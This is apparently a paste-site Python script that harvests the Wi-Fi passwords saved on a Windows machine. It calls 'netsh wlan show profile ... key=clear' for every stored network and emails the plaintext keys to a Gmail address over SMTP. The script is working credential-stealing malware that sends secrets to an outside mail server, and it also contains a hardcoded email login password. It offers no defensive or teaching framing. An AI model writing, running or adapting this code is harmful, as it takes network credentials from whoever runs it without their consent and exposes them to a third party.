· 5 years ago · Apr 28, 2020, 07:36 PM
1
2import subprocess
3import smtplib
4import re
5from email.message import EmailMessage
6
7def send_mail(from_email, to_email, subject, message, password):
8 msg = EmailMessage()
9 msg['From'] = from_email
10 msg['To'] = to_email
11 msg['Subject'] = subject
12 msg.set_content(message)
13 server = smtplib.SMTP("smtp.gmail.com", 587)
14 server.starttls()
15 server.login(from_email, password)
16 server.send_message(msg)
17 server.quit()
18
19from_email = "---@gmail.com"
20to_email = "---@gmail.com"
21subject = "Wifi Passwords"
22password = "cxwodyvtacalemmmpsd"
23
24command = "netsh wlan show profile"
25networks = subprocess.check_output(command, shell=True)
26networks = networks.decode('ISO-8859-1')
27network_list = re.findall("(?:Profile\s.*:\s)(.*)(?:.)", networks)
28
29
30message = ""
31for ssid in network_list:
32 command = 'netsh wlan show profile "' + ssid + '" key=clear'
33 result = subprocess.check_output(command, shell=True)
34 message = message + result.decode('ISO-8859-1')
35
36
37send_mail(from_email, to_email, subject, message, password)